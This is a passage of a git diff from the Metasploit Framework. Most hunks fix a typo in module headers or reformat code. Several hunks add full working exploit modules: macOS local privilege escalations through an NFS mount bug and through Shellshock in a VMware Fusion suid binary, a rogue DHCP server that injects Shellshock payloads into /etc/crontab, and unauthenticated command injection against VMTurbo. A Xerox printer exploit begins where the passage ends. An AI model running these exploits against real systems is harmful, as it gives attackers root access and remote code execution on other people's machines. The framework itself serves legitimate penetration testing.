xnu-1699.24.8 are affected. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kenzley Alphonse', # discovery and a very well-written exploit + 'joev' # msf module + ], + 'References' => + [ + [ 'EDB', '32813' ] + ], + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Mac OS X 10.7 Lion x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 11 2014' + )) + end + + def check + if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8" + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx') + file = File.join(osx_path, 'nfs_mount_priv_escalation.bin') + exploit = File.read(file) + pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + + print_status "Writing temp file as '#{tmpfile}'" + write_file(tmpfile, exploit) + register_file_for_cleanup(tmpfile) + + print_status "Writing payload file as '#{payloadfile}'" + write_file(payloadfile, pload) + register_file_for_cleanup(payloadfile) + + print_status "Executing payload..." + cmd_exec("chmod +x #{tmpfile}") + cmd_exec("chmod +x #{payloadfile}") + cmd_exec("#{tmpfile} #{payloadfile}") + end + + def xnu_ver + m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/) + m && m[1] + end + + def ver_lt(a, b) + Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,'')) + end + +end diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 67754c800c..1e7abb4d4d 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -115,7 +115,9 @@ class Metasploit3 < Msf::Exploit::Local end # @return [Boolean] user wants the persistence to be restarted constantly if it exits - def keepalive?; datastore['KEEPALIVE']; end + def keepalive? + datastore['KEEPALIVE'] + end # useful if you want to remove the persistence. # prints out a list of paths to remove and commands to run. @@ -133,10 +135,14 @@ class Metasploit3 < Msf::Exploit::Local end # @return [Boolean] user wants to launch the LaunchAgent immediately - def run_now?; datastore['RUN_NOW']; end + def run_now? + datastore['RUN_NOW'] + end # @return [String] username of the session - def user; @user ||= cmd_exec('whoami').strip; end + def user + @user ||= cmd_exec('whoami').strip + end # drops the file to disk, then makes it executable # @param [String] exe the executable to drop diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 1f7a8b2f6b..1f2d31b0fe 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index a7368c7b17..1a78b4de19 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 0172023586..614d33cd69 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -227,8 +227,14 @@ class Metasploit3 < Msf::Exploit::Local end # helper methods for accessing datastore - def using_native_target?; target.name =~ /native/i; end - def using_cmd_target?; target.name =~ /cmd/i; end + def using_native_target? + target.name =~ /native/i + end + + def using_cmd_target? + target.name =~ /cmd/i + end + def drop_path @_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) } end @@ -239,7 +245,10 @@ class Metasploit3 < Msf::Exploit::Local end # helper methods for dealing with sudo's vn num - def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end + def parse_vn(vn_str) + vn_str.split(/[\.p]/).map(&:to_i) + end + def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']]) vn_parts = parse_vn(vn) ranges.any? do |range| diff --git a/modules/exploits/osx/local/vmware_bash_function_root.rb b/modules/exploits/osx/local/vmware_bash_function_root.rb new file mode 100644 index 0000000000..351ba014ec --- /dev/null +++ b/modules/exploits/osx/local/vmware_bash_function_root.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection', + 'Description' => %q{ + This abuses the bug in bash environment variables (CVE-2014-6271) to get + a suid binary inside of VMWare Fusion to launch our payload as root. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Stephane Chazelas', # discovered the bash bug + 'juken', # discovered the VMWare priv esc + 'joev', # msf module + 'mubix' # vmware-vmx-stats + ], + 'References' => + [ + [ 'CVE', '2014-6271' ], + [ 'OSVDB', '112004' ], + [ 'EDB', '34765' ] + ], + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Mac OS X 10.9 Mavericks x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014' + )) + + register_options([ + OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']), + ], self.class) + end + + def check + check_str = Rex::Text.rand_text_alphanumeric(5) + # ensure they are vulnerable to bash env variable bug + if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) && + cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/ + + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary + + print_status("Writing payload file as '#{payload_file}'") + exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + write_file(payload_file, exe) + register_file_for_cleanup(payload_file) + cmd_exec("chmod +x #{payload_file}") + + print_status("Running VMWare services...") + cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random") + end + +end diff --git a/modules/exploits/osx/mdns/upnp_location.rb b/modules/exploits/osx/mdns/upnp_location.rb index dd8a314df3..3d32b05a7c 100644 --- a/modules/exploits/osx/mdns/upnp_location.rb +++ b/modules/exploits/osx/mdns/upnp_location.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/misc/ufo_ai.rb b/modules/exploits/osx/misc/ufo_ai.rb index 53a7a4c831..82404e2244 100644 --- a/modules/exploits/osx/misc/ufo_ai.rb +++ b/modules/exploits/osx/misc/ufo_ai.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb index f45b4f79d4..e9e228911d 100644 --- a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb +++ b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb index 5b92929eb9..b98c1693e0 100644 --- a/modules/exploits/osx/samba/lsa_transnames_heap.rb +++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb index 70ac02edae..703bda17bc 100644 --- a/modules/exploits/osx/samba/trans2open.rb +++ b/modules/exploits/osx/samba/trans2open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/dtspcd/heap_noir.rb b/modules/exploits/solaris/dtspcd/heap_noir.rb index 1ae103c4f9..ecf0331613 100644 --- a/modules/exploits/solaris/dtspcd/heap_noir.rb +++ b/modules/exploits/solaris/dtspcd/heap_noir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/lpd/sendmail_exec.rb b/modules/exploits/solaris/lpd/sendmail_exec.rb index fa2f21b889..f71bdad36d 100644 --- a/modules/exploits/solaris/lpd/sendmail_exec.rb +++ b/modules/exploits/solaris/lpd/sendmail_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/samba/lsa_transnames_heap.rb b/modules/exploits/solaris/samba/lsa_transnames_heap.rb index 24ec4d4103..432e9e4276 100644 --- a/modules/exploits/solaris/samba/lsa_transnames_heap.rb +++ b/modules/exploits/solaris/samba/lsa_transnames_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/samba/trans2open.rb b/modules/exploits/solaris/samba/trans2open.rb index 120fd030a0..b2f41017c5 100644 --- a/modules/exploits/solaris/samba/trans2open.rb +++ b/modules/exploits/solaris/samba/trans2open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb index 7af5e467c4..0a6caf1ee7 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -98,7 +98,12 @@ class Metasploit3 < Msf::Exploit::Remote end def brute_exploit(brute_target) - sunrpc_create('udp', 100232, 10) + begin + sunrpc_create('udp', 100232, 10) + rescue Rex::Proto::SunRPC::RPCTimeout, Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) + return + end unless @nops print_status('Creating nop block...') @@ -145,6 +150,8 @@ class Metasploit3 < Msf::Exploit::Remote sunrpc_call(1, request, 2) rescue Rex::Proto::SunRPC::RPCTimeout print_status('Server did not respond, this is expected') + rescue Rex::Proto::SunRPC::RPCError => e + print_error(e.to_s) end sunrpc_destroy diff --git a/modules/exploits/solaris/sunrpc/sadmind_exec.rb b/modules/exploits/solaris/sunrpc/sadmind_exec.rb index 72e94d61c7..730b4e025a 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_exec.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote Vulnerable systems include solaris 2.7, 8, and 9 }, - 'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz' ], + 'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz', 'midnitesnake' ], 'License' => MSF_LICENSE, 'References' => [ @@ -35,9 +35,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Payload' => { - 'Space' => 2000, - 'BadChars' => "\x00", + 'Space' => 2000, + 'BadChars' => "\x00", 'DisableNops' => true, + 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl, 'Compat' => { 'PayloadType' => 'cmd', @@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote hostname = datastore['HOSTNAME'] end + sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], []) response = sadmind_request(hostname, payload.encoded) sunrpc_destroy diff --git a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb index f35c6d8cdc..184c225c90 100644 --- a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb +++ b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/telnet/fuser.rb b/modules/exploits/solaris/telnet/fuser.rb index a11acad3e4..bafae78d1e 100644 --- a/modules/exploits/solaris/telnet/fuser.rb +++ b/modules/exploits/solaris/telnet/fuser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/telnet/ttyprompt.rb b/modules/exploits/solaris/telnet/ttyprompt.rb index 5580082e9c..36c43eb15d 100644 --- a/modules/exploits/solaris/telnet/ttyprompt.rb +++ b/modules/exploits/solaris/telnet/ttyprompt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/dhcp/bash_environment.rb b/modules/exploits/unix/dhcp/bash_environment.rb new file mode 100644 index 0000000000..7e89250ebe --- /dev/null +++ b/modules/exploits/unix/dhcp/bash_environment.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::DHCPServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Dhclient Bash Environment Variable Injection', + 'Description' => %q| + When bash is started with an environment variable that begins with the + string "() {", that variable is treated as a function definition and + parsed as code. If extra commands are added after the function + definition, they will be executed immediately. When dhclient receives + an ACK that contains a domain name or hostname, they are passed to + configuration scripts as environment variables, allowing us to trigger + the bash bug. + + Because of the length restrictions and unusual networking scenario at + time of exploitation, we achieve code execution by echoing our payload + into /etc/crontab and clean it up when we get a shell. + |, + 'Author' => + [ + 'Stephane Chazelas', # Vulnerability discovery + 'egypt' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'References' => + [ + ['CVE', '2014-6271'], + ['OSVDB', '112004'], + ['EDB', '34765'] + ], + 'Payload' => + { + # 255 for a domain name, minus some room for encoding + 'Space' => 200, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic bash telnet ruby', + } + }, + 'Targets' => [ [ 'Automatic Target', { }] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014' + )) + + deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') + end + + def on_new_session(session) + print_status "Cleaning up crontab" + # XXX this will brick a server some day + session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab") + end + + def exploit + hash = datastore.copy + # Quotes seem to be completely stripped, so other characters have to be + # escaped + p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) } + echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab" + hash['DOMAINNAME'] = "() { :; };#{echo}" + if hash['DOMAINNAME'].length > 255 + raise ArgumentError, 'payload too long' + end + + hash['HOSTNAME'] = "() { :; };#{echo}" + hash['URL'] = "() { :; };#{echo}" + start_service(hash) + + begin + while @dhcp.thread.alive? + sleep 2 + end + ensure + stop_service + end + end + +end diff --git a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb index 8d927e05bb..47bf09d755 100644 --- a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb +++ b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb index bb66bbf19c..ce6388be3e 100644 --- a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb +++ b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb index d74bc00a5b..b5a5b70f1f 100644 --- a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb +++ b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n") - banner = sock.get(-1,3) + banner = sock.get_once(-1, 3) disconnect if (banner =~ /500 Internal/) diff --git a/modules/exploits/unix/http/ctek_skyrouter.rb b/modules/exploits/unix/http/ctek_skyrouter.rb index 2e296dcf44..7cad0bbb50 100644 --- a/modules/exploits/unix/http/ctek_skyrouter.rb +++ b/modules/exploits/unix/http/ctek_skyrouter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'savant42' ], #with module help from kos 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'http://dev.metasploit.com/redmine/issues/5610'] + ['CVE', '2011-5010'], + ['OSVDB', '77497'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/unix/http/freepbx_callmenum.rb b/modules/exploits/unix/http/freepbx_callmenum.rb index c077eb1518..cb85ffd2a2 100644 --- a/modules/exploits/unix/http/freepbx_callmenum.rb +++ b/modules/exploits/unix/http/freepbx_callmenum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb index e8fef8bcbc..8a06f2b6b2 100644 --- a/modules/exploits/unix/http/lifesize_room.rb +++ b/modules/exploits/unix/http/lifesize_room.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -56,11 +56,11 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET', }, 10) - if not (res and res.headers['set-cookie']) + if res.nil? || res.get_cookies.empty? fail_with(Failure::NotFound, 'Could not obtain a Session ID') end - sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0] + sessionid = 'PHPSESSID=' << res.get_cookies.split('PHPSESSID=')[1].split('; ')[0] headers = { 'Cookie' => sessionid, diff --git a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb new file mode 100644 index 0000000000..c1e9a4f40a --- /dev/null +++ b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution', + 'Description' => %q{ + VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated + OS Command injection in the web interface. Use reverse payloads for the most + reliable results. Since it is a blind OS command injection vulnerability, + there is no output for the executed command when using the cmd generic payload. + Port binding payloads are disregarded due to the restrictive firewall settings. + + This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and + 4.6. + }, + 'Author' => + [ + # Secunia Research - Discovery and Metasploit module + 'Emilio Pinna <emilio.pinn[at]gmail.com>' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-5073'], + ['OSVDB', '109572'], + ['URL', 'http://secunia.com/secunia_research/2014-8/'] + ], + 'DisclosureDate' => 'Jun 25 2014', + 'Privileged' => false, + 'Platform' => %w{ linux unix }, + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => '-bind' + } + }, + 'Targets' => + [ + [ 'Unix CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'VMTurbo Operations Manager', + { + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 1 + )) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "/cgi-bin/vmtadmin.cgi", + 'vars_get' => { + "callType" => "ACTION", + "actionType" => "VERSIONS" + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + vprint_error("#{peer} - Failed to connect to the web server") + return Exploit::CheckCode::Unknown + end + + if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/ + version = $2 + build = $1 + + vprint_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected") + else + vprint_status("#{peer} - Unexpected vmtadmin.cgi response") + return Exploit::CheckCode::Unknown + end + + # NOTE (@todb): This PHP style comparison seems incorrect, since + # strings are being compared and not numbers. Example: + # 1.9.3p547 :001 > a = "4.6" + # => "4.6" + # 1.9.3p547 :002 > b = "10.6" + # => "10.6" + # 1.9.3p547 :003 > a <= b + # + # Also, the description says 4.5 is also vuln. This doesn't + # appear to care. + if version and version <= "4.6" and build < "28657" + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def execute_command(cmd, opts) + begin + res = send_request_cgi({ + 'uri' => '/cgi-bin/vmtadmin.cgi', + 'method' => 'GET', + 'vars_get' => { + "callType" => "DOWN", + "actionType" => "CFGBACKUP", + "fileDate" => "\"`#{cmd}`\"" + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + vprint_error("#{peer} - Failed to connect to the web server") + return nil + end + + vprint_status("Sent command #{cmd}") + end + + # + # generate_payload_exe doesn't respect module's platform unless it's Windows, or the user + # manually sets one. This method is a temp work-around. + # + def check_generate_payload_exe + if generate_payload_exe.nil? + fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.") + end + end + + def exploit + + # Handle single command shot + if target.name =~ /CMD/ + cmd = payload.encoded + res = execute_command(cmd, {}) + + unless res + fail_with(Failure::Unknown, "#{peer} - Unable to execute payload") + end + + print_status("#{peer} - Blind Exploitation - unknown exploitation state") + return + end + + check_generate_payload_exe + + # Handle payload upload using CmdStager mixin + execute_cmdstager({:flavor => :printf}) + end +end diff --git a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb index 4ec66ba5c0..e89a4224ba 100644 --- a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb +++ b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb index 78acb267d1..db1aeb5ba1 100644 --- a/modules/exploits/unix/local/setuid_nmap.rb +++ b/modules/exploits/unix/local/setuid_nmap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/misc/distcc_exec.rb b/modules/exploits/unix/misc/distcc_exec.rb index e0e4bb2f8e..25625e10b4 100644 --- a/modules/exploits/unix/misc/distcc_exec.rb +++ b/modules/exploits/unix/misc/distcc_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'RequiredCmd' => 'generic perl ruby bash telnet openssl', } }, 'Targets' => diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index 60fbffab6f..9bdeb95f3d 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote req = "service launcher\n" req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n" sock.put(req) - res = sock.get + res = sock.get_once(-1, 10) disconnect # check response @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Sending payload (#{req.length} bytes)") connect sock.put(req) - res = sock.get + res = sock.get_once(-1, 10) # check response if res and res =~ /No controlling tty/ diff --git a/modules/exploits/unix/misc/spamassassin_exec.rb b/modules/exploits/unix/misc/spamassassin_exec.rb index e0ac350ac9..d116f47fa6 100644 --- a/modules/exploits/unix/misc/spamassassin_exec.rb +++ b/modules/exploits/unix/misc/spamassassin_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/misc/xerox_mfp.rb b/modules/exploits/unix/misc/xerox_mfp.rb new file mode 100644 index 0000000000..64b8255efb --- /dev/null +++ b/modules/exploits/unix/misc/xerox_mfp.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + Rank = GoodRanking + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Xerox Multifunction Printers (MFP) "Patch" DLM Vulnerability', + 'Description' => %q{ + This module exploits a vulnerability found in Xerox Multifunction Printers (MFP). By + supplying a modified Dynamic Loadable Module (DLM), it is possible to execute arbitrary + commands under root priviages. + }, + 'Author' => + [ + 'Deral "Percentx" Heiland', + 'Pete "Bokojan" Arzamendi' + ], + 'References' => + [ + ['BID', '52483'], + ['URL', 'http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf'], + ['URL', 'http://foofus.net/goons/percx/Xerox_hack.pdf'] + ], + 'Privileged' => true, + 